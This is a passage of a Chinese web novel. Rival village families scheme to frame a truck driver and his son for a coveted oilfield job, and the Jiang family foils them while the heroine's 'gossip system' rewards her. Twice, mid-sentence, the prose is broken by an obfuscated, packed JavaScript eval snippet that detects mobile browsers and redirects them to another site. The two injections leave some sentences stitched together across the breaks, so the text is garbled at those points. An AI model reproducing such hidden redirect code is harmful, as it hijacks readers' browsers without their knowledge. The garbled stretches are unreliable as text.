此时,姜满坡的媳妇儿马红花,正穿着一身连衣裙,桃红色的,躲在村口的大槐树后,一会儿一探脑袋地向前看,一会儿努力地向后张望,却迟迟不见满坡、大哥还有大侄子的身影。 远远的,大卡车的灯隐隐出现在黑暗中,一闪一闪的。 马红花急得跺脚,一咬牙,不等了,为了儿子,她豁出去了。 马红花一个箭步从树后冲出来,啪叽一声摔在地上。 卡车里,吴大锤是老司机了,虽然马红花出现的突然,吴大锤还是第一时间踩住了刹车。大卡车停下的地方,堪堪离马红花一寸之遥。 驾驶座上,吴大锤喘着粗气,一阵阵儿的后怕。 这得亏他技术好啊,稍微反应慢点儿,他可就背上人命了! 越想越气,过了后怕的劲儿,吴大锤眼里蹭蹭蹭地往外冒火星子,他唰地跳下车,顾不得这是在村里,指着马红花怒骂:“好你个要钱不要命的泼妇,你这样儿的我见得多了,想碰瓷儿是吧,我告诉你,没门儿!我吴大锤可不是吃素的,你给我滚犊子......” 马红花也是吓得够呛啊,太险了,真是就差一点点,她就没命了啊。 她抚着胸口,脸白如纸。等这怕劲儿过了,她又想到了丈夫的嘱托,想到了他口中的工作名额,马红花瞬间就不怕了。 她得为儿子谋划啊! 她那可是儿子,是能养老,能摔盆打幡的儿子啊。 凭什么姜楠一个丫头片子,就能住城里享福,而她儿子就得在乡下种地?! 等把吴大锤的工作要到手,她儿子就是妥妥的司机了! 到时候,凭他儿子的本事,一两年就能当上领导! 那时,姜满城一家再想巴结她儿子,也得看她马红花答应不答应! 想到这里,马红花瞬间充满了力量。 她颤抖着身子,抬起头,一副被吓得楚楚可怜的小媳妇儿样,期期艾艾:“这位大哥,我,我婆婆让我出来找我家鸡,我家鸡丢了啊。我,我一时心急,没看到车,这才出事儿的。您别生气,我不是为了要钱,真的,我不要钱。你看我也没啥事儿,我能起来的。” 马红花右手撑地,像是努力站起来一样。 吴大锤在马红花抬头的时候,就愣住了。 为啥?因为马红花长得好看啊。 不然当初姜满坡怎么能在老娘杜荷花的眼皮子底下,坚持要娶这么一个不受待见的媳妇。 这么多年,马红花又只生了一个孩子,保养的还算不错。穿上从姜桐那里借过来的衣服,不说是大美人吧,小家碧玉还是能称上一句的。 更何况为了稳妥,马红花还特意捯饬了捯饬,看着就和平常的村妇不一样。 老吴头是个色胚,他儿子吴大锤也不遑多让。他是大车司机,这事儿做起来就更方便了。此时见到马红花的作态,吴大锤身子骨先就软了,他矮下身,伸手扶马红花,关心地问:“这位同志,你还好吧,要不要紧?哎呀,你腿好像流血了,我车上有药,你等着,我去拿紫药水给你擦擦。你别动,等我给你拿药。” “哎,谢谢大哥,你是个好人。” 这边马红花的美人计还在继续,却迟迟等不来揭盖子的人。 另一边,针对吴大锤儿子吴建国的仙人跳骗局,也已经准备了起来。 原来周六一大早,勘探队来西河岸大队的事儿,裘老太在第一时间就想到了小儿子裘向东。 要么说是对照组呢,裘老太和杜荷花情况也差不多。 两人都是寡妇,同样生了三个儿子一个闺女,也同样都觉得小儿子最聪明。 不过不一样的是,裘老太什么事儿都听小儿子的,而杜荷花则更有自己的主见。 这边裘老太没耽搁,当即骑着自行车,叫了小儿子回村。 一家人关起门来商量了一天,终于定下一条仙人跳的计策。 具体说来,就是趁吴建国晚上上厕所的时候,将人打晕,放到村里的磨坊。大哥裘向南家的侄女裘生儿则在磨坊等着。等两人成事,守在磨坊外的裘家人齐齐叫嚷开,让全村人都看到吴建国耍流氓。 如此一来,大侄女能够嫁入油田,家里还多了一个工作名额。 对,就是吴大锤的工作。 姜满坡和裘向东都看上了这个名额。 但姜满坡想着直接从吴大锤下手,先让马红花勾引吴大锤,当然就是嘴上花花两句,他还不想戴那个帽子。到时候姜满坡再带着大哥和大侄子当场叫嚷开,晾吴大锤有十个嘴也说不清。不给工作,姜满坡就去革委会告,谅吴大锤也不敢不给。 吴大锤的工作到手后,给马红花或者儿子都行。到时候,再在西河岸发现石油,油田再赔偿一两个工作,说不得他们一家三口,都能当上工人了! 别说在村里,就算在油田,那也是上上等的人家!儿子姜桂的婚事还用愁? 两口子想得倒是美,却不知道还有别人也在惦记吴大锤的工作。 没错,就是裘向东。 裘向东自诩是个聪明人,聪明人嘛,就容易想得多。 他计划从吴大锤的儿子吴建国下手。 谁让他只有一个儿子呢。 第一步,让吴建国名声臭了,不能接班。今儿这个仙人跳局,就是为这个准备的。 然后再让吴大锤犯错,最好是那种看着很严重可能被开除的错。这个很容易,裘向东都想好了。吴大锤是大车司机,在外头肯定不干净,他稍稍做个手脚,就能抓住吴大锤的小辫子。到时候闹腾开,吴大锤可就犯大错儿了。要知道,这年头,乱搞男女关系,可是会蹲笆篱子的。 等犯了大错,焦头烂额的吴大锤不知如何是好时,他再出面购买吴大锤的工作名额,岂不是名正言顺? 对吴大锤而言,与其被开除,什么也捞不着,当然是卖工作得了钱,全家回乡下更划算了。 不得不说,裘向东一步步算计的也是够狡猾的,要不是马红花两口子横插一杠子,说不得真能成。 总之,这一晚上那个热闹呦,看得姜楠、陈金花和陈万里三人啧啧啧个不停。三人在村口和大队公厕之间来回倒腾,比瓜田里的猹蹦跶得还欢。 对的,又是姜家一行人,这次还多了陈万里。 陈万里早年在沪市和北平两地都求过学,什么沪市百乐门、北平天桥底下杂耍的,他都去过,就连洋人的舞会,他都参加过几次,可谓是见多识广。他好奇心又重,不仅看,还喜欢琢磨,身上手艺跟姜满城一样杂。 由此可见,陈家早年也是富贵过的,不然不可能让陈万里这么蹦跶。只是后来被小人暗算,散尽家财,又背井离乡的,倒是得了个好成分。 陈万里这个人,别看一肚子学问,却也是个热闹人,要不然也不会和姜满城投缘,把闺女都嫁了过去。如今这么大的热闹,他老人家怎么会缺席。 另一头,姜满城出了姜家的门,抱着小包袱,吭哧吭哧往这边赶啊。 今天这个事儿吧,主要是牵扯到自家二哥二嫂,不然姜满城也不会出手。 不过既然出手了,就得做好。 他这个人,平时懒得管别人闲事儿,地盘儿意识非常强。在家勤快,那是母女俩是他认定的亲人,他心甘情愿。但是在外面,他且懒着呢,轻易不会兜揽事。 不过一旦决定做了,他必是拼尽全力的。这也是上辈子的习惯,不尽全力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444167|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那可是会丧命的。 他虽然不喜吴大锤,但也不想看吴建国吃瘪。这是个可怜孩子,自小父母不做人,小时候生病了都没发现,等送到医院时,吴建国已经烧了一天。幸好没被烧傻,但自此落下毛病,身子骨就不好。 更何况,裘向东的吃相也太难看了。别以为他不知道,裘向东这么做根本不是为了侄子侄女儿,而是为了外面的私生子。 对的,裘向东常年在井上值班,并不是他多么热爱工作,而是他在那里还有一个家。在那个家里,他有个儿子,已经十岁,都是懂事儿的年纪了,一直假做寡妇前头男人的遗腹子养着的。这些年装得跟个人似的,其实是楼里最心黑的主儿。 先堵住吴建国接班的路,再图谋吴大锤的工作,一步步算的比狐狸还精。可惜,遇到他们老姜家,今儿这组团仙人跳,他们老姜家非得给搅和黄了不可。 “爸,二叔那里没事儿吧?”见到姜满城,姜楠抢先问道。 “没事儿,你奶看着呢,今晚别想出来。还想把大哥这个老实人骗出来,真够缺德的。” “满城,你这二哥,可真够爱惜名声的,太大公无私了啊。好家伙,绿帽子都自己亲自做一个戴上,绿了他自己,幸福千万家啊。好人,真是个大大的好人。”陈万里竖起大拇指。 姜满城、陈金花、姜楠:就突然忘了,陈万里对外人,那可是嘲讽技能拉满! 这个外人,单指跟陈家无关的人,就是这么简单粗暴。 姜满城丝毫不尴尬,他嘿嘿笑两声,打开包袱,取出里面的枣泥酥,献宝道:“爸,您看,这是我妈刚做好的枣泥酥,还热乎着呢,知道您爱吃,特意带过来的。” 陈万里勾勾嘴角:“好啊,你可真是太好了,真是天下第一的好女婿啊。” “那是,我这心里啥时候不想着岳父。” 姜满城顺杆儿爬。老爷子早年在京城工作过几年,喜欢上那里的八大件儿,特别是这枣泥酥,那可是爱得不得了。幸好他妈曾经在大户人家做过下人,学过几手,这不就用上了嘛。再说没他妈,他姜满城也是会做一些的,不过他擅长的是山楂锅盔。 你看看,这啥时候,技多都不压身啊。 姜满城得意地说:“爸,您只管好好吃,让小楠和金花俩人忙活就行,她俩功夫好。” 陈万里斜睨女婿一眼,开口道:“你可真是个顶天立地的男子汉啊。” 姜满城乐得嘎嘎的:“还是爸你懂我。” 姜楠抽抽嘴角,尴尬得脚指头都能抠出一座城堡,她抖抖身子,忙说:“妈,我负责二婶,您去把吴大锤打晕。”她可是很有自知之明的,吴大锤这种壮汉,还得她妈对付啊。 姜楠继续说:“爸,姥爷,你们在我俩身后别露头。” 姜满城摆摆手,十分自信地说:“闺女,爸信得过你,放心地去吧。” 姜楠差点儿给她爸磕一个,真是,姥爷来了,他爸这脸皮,咋更厚了呢。 陈金花轻咳一声,努力做了个放心的手势。 四人来的时候,正好是吴大锤说要去车上拿药的时刻,两人悄悄上前,一人拎着一块儿板砖,没发出一点儿声音。 农村最趁手的凶器是什么?当然是板砖是也。 两人找准穴位,朝着脑袋轻轻砸去。这脑袋可不能用劲儿,不然就得吃花生米。好在母女二人都练过武,最知道哪里该打,哪里动不得。很快马红花和吴大锤双双晕倒,被放到了地上。 母女俩松了一口气,陈金花问:“爸,满城,接下来干啥?建国那小子这么晚了咋还没出来?” “晚上上厕所能多早?”陈万里翻白眼儿,“金花啊,这脑子是个好东西,平时不要光泡在水里放着,没事儿也要拿出来用一用,否则就泡生锈了。” 陈金花:这我怎么跟外人一个待遇了,我不是你最爱的闺女了嘛。 显然,陈万里看热闹的时候,那就是阴阳怪气小达人,哦,不,是老达人,那是逮谁喷谁。谁让,今晚这‘破坏仙人跳行动’,是他策划的呢。任何一个不能领悟他深意的人,都是他的敌人,敌人! 可能也是在勘探队里憋得久了。在队里,陈万里是陈总工程师,是温文儒雅的文化人。既然是文化人,那怎么能这么说话呢,多掉价儿啊。就算再生气,觉得其他队员笨得跟猪一样,说啥都听不懂,那也得笑眯眯地再说一遍。 如今不一样,大晚上策划恶作剧,周围又都是自家人,彻底原形毕露了。 陈金花就委屈,十分非常特别的委屈。不过在姜满城的示意下,还是将吴大锤拉到车上,而姜楠则把马红花送回了家。 小河边的磨坊里,裘家的仙人跳骗局才刚刚开始。 这个磨坊早先是村里地主家的,挨着河,离姜家不算远。说是地主,其实拢共也就不到一百亩地,平时一个月比村里人多吃一顿肉罢了,过得也不多富裕。这磨坊也不是砖瓦房,而是泥土房子。这不是地主被打倒,磨坊也荒废了。因着嫌弃地主身份敏感,没人敢用这个房子,就一直破败着。 裘家仙人跳,或者捉奸的戏码,就是选择在这里。 裘生儿躲在屋里,忐忑中带着期待,她要嫁到油田了,成为城里人...... 而裘向东和裘老太守在外面望风,裘向东的两个哥哥则埋伏在公厕附近,等着吴建国现身。 他们静静等着,却不知道两边都出了变故。 29. 系统升级 西河岸大队一大早,太阳也就刚露头的样子,可这村里啊,人声竟然比公鸡的打鸣声还要大。一个个扛着锄头的老农嗷嗷跑,两条腿倒腾得比发现勘探队的时候还快啊,边跑还边喊。 那声音,兴奋中带着震惊,震惊中带着难以置信,难以置信中又带着些长见识的窃喜,真是不知道怎么形容了。 “大家快出来看啊,裘家三个儿子都没穿衣服,光着腚啊!” “裘家三个儿子光腚了,光腚了!” 霎那间,家家户户的大门唰一下打开,村民们一阵风儿一样往出跑啊。就连勘探队的技术员,都嗖嗖地出来看热闹。 没办法,这热闹,属实是太罕见了啊。 虽然他们是油田勘探队的,大大小小的村子也去过好些个了,就连深山老林那都去老了的,也算是见多识广了吧。 可饶是如此,他们还真没见过这事儿啊。 就连油田总部,人那么多那么热闹的地方,都没这样儿的啊。 大男人光腚啊,这咋想的啊。 真是搞不懂,理解不了,真真儿的无法理解。 虽然理解不了,但不妨碍大家看热闹啊。这热闹不说百年一遇吧,反正长这么大,他们也就看见过这么一次,也是开了眼界了。 其实细想想,裘向东是石油工人,也是油田的。那这热闹,是村里的,还是他们油田的? 勘探队员们摇摇头,都快把脑浆子摇出来了,不管了,不管了,看热闹,还是看热闹最重要。 相比于勘探队队员的纠结,村民们就直爽多了。有那看不惯裘向东平日里斜楞眼看人的,啧啧两声,高声问:“向东啊,你这当了几年石油工人,还发展新爱好了啊,喜欢不穿衣服到处蹿,啧啧,真看不出来。” “那人家是副队长,能让你看出来!向南、向北,你俩咋也跟着?这也讲究打虎亲兄弟?” 裘向东阴沉着脸,双手死死捂住关键部位,从喉咙里发出低吼:“让开!” “哎呦,哎呦,好怕啊。你一个大队长敢做,还怕人看啊。” “哎呦呦,你还别说,裘向东这身上是有劲儿啊,你看这一身的疙瘩肉,怪不得陶美玉死心塌地呢。”这是死命挤到最前面围观的老大娘。 “那可不,裘向南、裘向北看着也还行啊。”嗯,老大娘的老姐妹儿,也是个好看热闹的。 有那不服气的老爷们,开始叫嚣了:“那都捂着呢,你们能看见啥?这一个手就能捂着,也那啥不到哪里去。你们老娘们不懂,都让开,别添乱。” “就是,这有时候身上看着强壮,可却小的跟指甲盖儿似的,你们懂啥?见过几个老爷们儿就敢在这胡咧咧,头发长见识短。” “可不是,那看着壮的,不一定就比我们这些瘦了吧唧的强,你们老娘们懂啥。我看保不齐这裘家兄弟都不行,一个手就捂得严严实实,肯定比指甲盖儿还小。” “对啊,有可能。” “有道理啊。” “有个屁的道理!谁小的跟指甲盖儿似的?老子肯定比你们大,在这里胡咧咧个屁。二驴子,你等着,敢造老子的谣,老子穿上衣服揍死你。” 男人,不管啥时候,都不能受这个侮辱啊。这不,裘家老大裘向南爆发了,狠命的嘶吼啊,喷火龙似的。 “切,你看他,这不是急了。”被叫做二驴子的青年倒是淡定的很,他闲闲地说,“你要是大,你急啥?可见啊,这是被说中心虚了。大家伙儿说,是不是这个道理?” “哎,还别说,真有可能,他要是真那么能,他急啥?可见就是小。” “可不是,真是人不可貌相,看着人高马大的,其实那么小的吗?” 二驴子冲着裘向南挑衅地笑,在人群里‘小声’嘀咕,“我跟你们说,我家不是住他们裘家隔壁嘛,这晚上啊,都没听过有那种事......” “二驴子,老子跟你拼了!”裘向南化身喷火怪兽,挥起拳头就朝二驴子打去。只是这手一扬起来...... “唉呀妈呀,我看见了,真不大啊。” “我也看见了。” 裘向南挥拳头向前冲的动作一顿,被定住了似的,啊啊啊地叫,又赶紧捂住,脸上红的能滴血,眼睛里更是蹭蹭蹭冒火啊:“都滚开!都不准胡说八道!滚,都滚!” 裘向东真是被大哥蠢死了,他双手死死捂住,脸黑得都快滴出酱油子了。 可村民们才不怕呢,一个个看得津津有味儿。 谁让裘家这几个平日里用鼻孔看人的。 哼,如今能看他们家的笑话,今儿的早饭都能省了,看热闹都看饱了啊。 姜满城凑在人堆里,全程乐呵呵,只不过眼睛时不时就要瞥姜满坡一眼。 姜满坡脸色苍白,内心里把小弟和裘家骂了一千一万遍。不过他也知道,他的计划就算顺利实施,就看今早裘家这个德性,他恐怕也落不到好。 杜荷花淡淡地瞥了二儿子一眼,心内冷哼。这瘪犊子昨天想干啥,她如今可是知道得一清二楚,等回家再给他好看!这时候啊,还是看别人家的笑话吧。 勘探队里,陈万里这个总工程师,笑眯眯的,十分的慈祥,却看得比谁都起劲。他人头不熟,时不时还侧头问村民两句,让被问到的大爷大叔们十分的受宠若惊。 “这是裘家啊?那他家为啥大早上光着在村里跑啊?” “那谁知道呢,是不是让你们队里看看,他们强壮身体好,好特招进油田啊?” “你可真能想,陈工程师,我觉得他们应该是去河里洗澡,衣服被偷了,跟那个七仙女儿跟董永似的,然后没办法,才光着跑回家呢。” “有道理啊,小伙子你脑子转得真快。”陈万里真心夸奖,你瞧瞧,这还给自动圆上了。 “我跟你们说,我刚才在前面可看得真真儿的,裘家老大,就指甲盖儿那么大,你说他咋生出儿子的?”有人从前面挤出来,眼睛里射出兴奋的光,叭叭叭拉着人就一通说,手舞足蹈的。 “额,不能吧。看着不像啊。” “我看得真真儿的,还能有错?” “我也看到了。” “额,就算......那也是能生的吧。我家......”说话的人急忙捂住嘴巴,再也不说了。不过大家讨论得可热闹了,没人注意到他说了啥。 “裘家那个最小的裘向东,不就没儿子,你说他不会比指甲盖儿还小吧?不然他哥都有儿子,他怎么没有?” “他不是有个女儿?我看还是他媳妇儿的问题。” “额,那说不定都有问题呢,也不能全怪女人啊。那比指甲盖儿还小,就是比咱们不好生嘛。这些年,可苦了陶美玉了。” “可不是,咱们生孩子还是容易的。” “这生孩子是女人的事儿,哪有大男人不能生的,你们可不能胡说。”有那老大爷听不下去的,开始为裘家兄弟说话。 陈万里脸色难得的严肃,他说:“这生孩子是两方的事儿,有女人不能生,自然也有男人不能生,这个不能全怪女人的。如果谁家长时间生不出孩子,最好还是去医院看看,早治疗早生孩子嘛。不然怪错了人,也生不出孩子啊。” “啊,还有这种事儿啊?陈工程师,你具体说说,为啥有男人不能生啊?” 村里热闹得像过年,磨坊里,裘老太终于醒来。虽然不知道为啥睡在这里,但听到外面的动静,当即明白计划出了差子。她这会儿脑子转得也快了,当即吩咐孙女在磨坊里呆着,自个儿撒丫子跑出去,边跑边给儿子们开脱。 “都让开,让开,我儿子在家睡觉,衣服被人偷了,出来抓贼,这才没穿衣服的,你们一个个大惊小怪什么,都让开,向东他们还得回去穿衣服呢。” “不是洗澡啊。”有村民嘀咕,“那你家抓贼不穿衣服啊?” “衣服都被偷了,穿什么?谁家富裕得衣服穿不过来啊?少废话,都让开,我家儿子还得回家呢。” “哎呦,裘大妈,你生啥气啊。不是,你咋从磨坊里出来?大早上的,你不在家,去磨坊干啥?”有村民发现了华点。 “对啊,你的衣服没被偷?为啥贼光偷你家儿子的衣服啊?” “就是,裘家老大媳妇儿、老二媳妇儿呢?她们衣服没被偷?” “没有,在后面呢,我们都看见了,穿得好好儿的。”外围,有村民帮着喊话解释,“不过咋没见陶美玉啊?她没回来?” “人家还上班呢,能跟你们一样。” “也是哈,你们说真是奇了怪了,这贼咋偷男人衣服啊。” 陈万里好心给大家解释:“这世上,有男人喜欢男人的,这种事儿不稀奇,解放前多得很。” 村民们震惊了,他们瞪着眼张着嘴,一副惊吓过度的样子,就这么直愣愣地看着陈万里。 陈万里耸耸肩,再次好心解释:“我以前在沪市上过学,这种事儿不少见的。还有那捧戏子的,男女都捧,男女通吃的呢。” “啊,这......还有男人喜欢男人,男女通吃?” “哎呀妈呀,还有这事儿啊。长见识了,真长见识了。” “谁说不是呢。这,这,不会是有男人看上裘家兄弟了吧?” 裘向东终于忍不下去了,他可不能背上被男人看上的名声,不行,一千个一万个不行。 他怒吼一声:“少胡说,你们才被男人看上,你们全家都被男人看上。” “哎,不是,裘向东你怎么说话的,我们这是合理猜测,合理猜测懂吗?你急啥?没看上就没看上呗,咋的,你还挺遗憾啊?” “滚犊子!混蛋玩意儿,缺德冒烟儿!”裘向东言简意赅,充分体现了被气到冒烟儿的人,是说不出好话的。不过他到底没像裘向南一样没脑子,主打就是再生气,也得死死捂住。 “我让你们胡说,敢这么说我儿子,真是不把我们裘家放在眼里啊。一个个的,都让开,等我们回去穿了衣服,咱们再算账!” “切,你裘家是天王老子啊,还得我们都放在眼里。呸,还抓贼,谁信啊,你们家儿子睡觉脱得光溜溜的啊?” “大热的天,脱光睡觉有啥,你管得倒是宽。都让开,别耽误事儿,一会儿还得上工呢。一群泥腿子,围在这里算干嘛的?” 裘老太咬死了是出来抓贼,任谁问都是这个话。村民们可不信这个话,七嘴八舌讨论得可热闹了,反正就是不让开,主打就是看裸男,哦,不,看热闹。 大队支书陶老爷子是裘向东的岳父,老爷子平时不太管事儿,但因为是退伍老兵,在村里还是很有地位的,他严肃着一张脸,眼神很有些恨铁不成钢,深深地看了女婿一眼,沉声道:“都散了吧,一会儿还要上工,都回家吃饭去。啥热闹也不能耽误上工。” 金大队长见老支书发话了,也赶紧出腔赶人:“散了散了,不够丢人的。还得上工呢,都回去吧。要是谁看热闹耽误上工,我可不会轻饶了的。” 人群叽叽咕咕,不过到底是村里的两个话事人,大家慢吞吞地往家挪。 那可真是慢吞吞啊,平时走一步的距离,如今恨不能走十步,还一步三回头的,不知道的还以为大姑娘送情郎呢。 村外围的卡车里,吴大锤狠狠地攥紧了拳头。他脑子笨,但也知道昨天是中了美人计。儿子为啥出现在车里,他是不明白的,只觉得十分的生气。那个女人,别让他再看见,否则,哼!他绝对饶不了她! 吴建国将事情前前后后地一联系,大概清楚怎么回事儿了。他看着处在爆发边缘的父亲,劝道:“爸,以后工作你可得认真点,盯着你这个工作名额的可不少,不能出一点儿错。” 吴大锤眼球暴起,一看就是生了大气,他粗声粗气地说:“这些混蛋!要是让我再看见那个女人,我......” “爸,别冲动。事情没成,那女人肯定躲着不出来,你还能挨家挨户地找人?咱们是外人,今儿就得走了,这事吧,咱们还真不能怎么着。不过你以后做事可千万要小心,别着了别人的道儿。” 吴大锤狠狠砸了一下方向盘,抹了把脸,丧气地说:“建国,你比爸聪明,要不先把工作给你......” 这倒不是吴大锤多宝贝儿子。关心是有,但跟工作比起来,还是工作更重要。只是他上次抓奸动了刀子,被记了过。之后特车队又出了老尤的事儿,大家对他和老尤这种看起来就暴力的人有防备。 吴大锤也不是傻子,感觉到周围同事的排挤,几次之后,就觉得没啥意思,这才想着把工作给儿子。他一个壮汉,干点儿啥事儿挣不到钱?何必在队里看人白眼儿,还不够受气的。 “爸,我是这么想的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447918|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”吴建国自然知道先接班是最稳妥的,不过他还是分析道,“咱们先调度室的人换岗,应该会有人换的,调度岗对身体素质要求不高,我应该可以顺利入职。入职之后再慢慢谋划,换到司机岗。爸你呢,就等西河岸大队这边石油储量探明了,到时候油田说不得会招工。你身体好,去前线做工人都是可以的。” 他跟吴大锤可是跟着勘探队很长时间了,自然知道临市新发现的油田储量巨大。如果西河岸大队这边储量也不错的话,油田肯定会招工。到时候他爸是熟手,身子骨又好,机会比他大。 吴大锤喜出望外,父子俩还在商量工作的事,而姜家这边也在说,只不过是杜荷花单方面训斥二儿子夫妻俩。 “一个个没脑子的,自作聪明的蠢货!马红花,你也是做娘的,怎么不想想出了这事儿,以后小桂怎么在村里抬得起头?还有你,姜满坡,你可真行!为了工作连媳妇儿都狠得下心,你可真是个男人!” 杜荷花叉着腰,刚进院子就训了起来。 姜桂双眼通红,没想到父母竟想出这么损的主意。他也是个要脸的,顿时觉得抬不起头,气得身子都在抖。 “好了,小桂,你别气了,再气坏了身子就不好了。马红花,这几天你给我老实在家呆着。等那父子俩走了你再出去。真是猪脑子,也不想想大车司机是那么好招惹的?人家一拳就能打得你脑袋开花!” 杜荷花训斥的声音还在继续,勘探队的帐篷里,姜楠和陈金花倒是没去看这个热闹。 不是她们不好奇啊,她们是十分的想去。但是这个热闹吧,大姑娘小媳妇儿的,还真是不好上前看。没见围着的,都是一群大老爷们儿和一群彪悍的老大娘嘛。 只不过在帐篷里,两人也竖着耳朵,坚决不放过任何一句话。 “妈,你说吴大锤和吴建国醒了,能反应过来咋回事儿吗?”姜楠为吴大锤的脑子发愁,十分的忧愁了。 “吴大锤反应不过来,还有建国呢。他要是疼孩子,肯定过几天就让儿子接班了,不过估计得从楼里搬出去了。建国接班就是个学徒工,工龄又少,没资格再住这么大的房子,估计得给人腾地方。” 油田如今的房子产权都是归集体的,油田按照工龄、工作贡献等,给职工分房居住。职工只有居住权,没有产权。 筒子楼可是分给双职工住的。本来吴大锤离婚后,一个单职工住着就够扎眼了,要是吴建国一个学徒工都能住筒子楼,保不齐真有人眼红闹事儿。 如果有人闹,那吴大锤一家还真有可能会搬走。 “那,要是大锤叔再婚呢?” 陈金花:“还别说,这是个办法。不过一时之间,去哪儿找有工作的寡妇啊?不管了,咱听热闹。” 话音刚落,姜楠的脑海里就响起了愉快的电子音。 【宿主,2000吃瓜币已到账,请查收。】 姜楠一下子蹦起来,开心地手舞足蹈,忍不住问:“卢家辉开口了?” 【对,已经确定他是间谍,苏水仙和小寡妇梁春花也都被抓获了,目前案件还在深入调查。宿主,您现在吃瓜币已经达到6000,请问需要开通空间功能吗?】 “开通,开通。” 脑子里的话音刚落,姜楠瞬间仿若置身于一间空荡荡的房间,四四方方,墙壁雪白,高不超过五米,总面积不超过二十平。 姜楠有些嫌弃:“别人不都是什么农田、灵泉啥的,你这空间有点儿次啊。” 【嘿嘿,宿主,你别这么说。我是吃瓜系统,空间就是附赠的,可不是主要功能,当然要差一点啦。不过二十平呢,要是想扩大,再花5000吃瓜币,就能扩大一倍哦。而且这个空间可是有保鲜功能的,食物放进去可不会过期。】 “人能进去吗?” 【不行,别说人,就连活着的动物都进不来。这是违反星际联盟条例的,是被明确制止的。】 陈金花看闺女眼神儿放空,就知道又在跟系统叨叨叨了。她当即起身,去外面瞧着,顺便望风。 这系统的事儿可没告诉老爷子呢。不是信不过,而是这么匪夷所思的事,当然是知道的人越少越好。见勘探队里大家陆续回来,开始洗漱准备吃早饭,她赶忙回屋,摇醒闺女。 “晚上再研究,你姥爷来了。” 陈万里作为总工程师,虽然也会放松看热闹,平时那可是很忙的,自然就没时间整日陪着闺女和外孙女。匆匆吃过早饭,一抹嘴,就带着勘探队忙活开了。 不过母女俩也不用人陪,西河岸大队是常回来的,两人不用人带,径直上了山。还别说,有热闹看,山上人都少了。上工的忙着上工,不上工的也三三两两聚在一起,讨论裘家几兄弟的尺寸问题,可没工夫上山寻摸。 山就在那儿,又跑不了。但是这热闹,那可是百年难遇啊,还不得趁着热乎劲儿多说几句。 这可方便了姜楠和陈金花二人。两人也是艺高人胆大,仗着姜满城不在,往林子深处走了走。还别说,虽然外面没啥好东西,但林子深处还是有猎物的,两人逮了五只兔子和三只野鸡,不过倒是没猎着大家伙。 两人也不气馁,乐颠颠地绕到姜家的秘密小道,回姜家吃了午饭。马红花和姜满坡挨了训,吃饭的时候格外老实,倒是没出什么幺蛾子。 等人都去睡午觉了,正堂只剩下姜满城一家和杜荷花,姜楠将那天遇到叶春萍知青的事儿说了。 “奶,那个叶春萍想算计小桂哥。她和魏有为的三儿子魏丰年是一对儿,两人年初就勾搭在一起了。叶春萍有了身孕,魏有为两口子却不让她进门。这两人看中了公社粮站副站长家的闺女,那家也是只一个女儿,不过早年发烧脑子有些烧傻了。副站长家准备招赘,承诺给女婿安排一个工作。魏丰年年龄不够,不能分家,魏有为两口子打算把他招赘出去。魏丰年也同意了的,他也想当工人,不过怕叶春萍缠着他坏事,就出了个主意,让叶春萍缠上姜桂哥,这样不仅能嫁给石油工人,以后二叔的工作也能到手。” 杜荷花脸绷着,嘴角紧抿,眼神锐利,她说:“行了,我知道了。真是什么人都敢打我杜荷花的主意了,这事儿你们别管,我得让魏家知道知道天多高地多厚!不然一个个的,还当我们姜家好欺负呢。” 她冷哼一声,扫了眼小儿子,问道:“你们啥时候回去?” 30. 黑市再遇女主 姜满城一家到家属院时,已经是傍晚了。 三人半下午的时候垫吧了点儿馒头咸菜,也不饿。只不过吧,粥粥水水喝得多了点儿,两个小时的路程呢,三人也不能就地解决啊,他们还要脸呢。 没解决的后果就是,刚到楼下,姜满城嗷嗷地跳下车,不行了,等不到回家,先去公厕,去公厕。 姜满城急,骑车的姜楠和陈金花也不遑多让啊。不过两人还有理智,把自行车支在大树下锁好,这才嗖嗖往厕所跑。幸好现在是家属院做饭时间,公厕的人比较少,两人进去时还没人。 这公厕虽然也在家属院,但姜楠一家是很少上的,毕竟家里有厕所嘛。这公厕大部分是家属院平房那边的人用,毕竟平房没厕所嘛。而且公厕虽然每天有人打扫,味道也是不好的。只要能忍得住,姜楠都不会去公厕的。这不是今儿忍不住了嘛。 她很快地解决好个人问题,脸色都轻松下来,又是快乐灿烂的小脸儿啦。 姜楠整理好衣服,准备和陈金花一起出去,冷不丁,听见厕所后面有动静。 这公厕是挨着家属院的墙建的,两道墙之间有大概一米多的空隙,是让掏粪工掏粪用的。平时可是很少有人去后面的,毕竟味道可不好。 陈金花伸出一根手指放在嘴边,两人动也不敢动,竖起耳朵,热切地听着后墙的谈话。 姜楠虽然一脸八卦样儿,内心不是不吐槽的。 这谈话的人,可真是没有危机意识啊。 说话之前,都不检查检查厕所里有没有人的嘛。 这么大大咧咧,真是胆儿肥啊。 再说他们的自行车离得也不远啊,这都没看见? 不想了,听墙角,听墙角。 公厕后,一个娇滴滴的女声响起:“死鬼,人家不去找你,你都不来找人家。这么久了,人家想你想得都睡不着觉,你怎么这么狠心?” 孙巧莲! 妈妈呀,姜楠忍不住再次吐槽,你睡觉的时候咋想这么多人呢。 上次还想林兵想得睡不着,这次就换人了。这情话都不换一换的吗? 另一个男声得意地笑了起来,调侃道:“怎么,林兵没满足你?你不是和他打得火热,还有功夫想其他男人?” 程大柱! 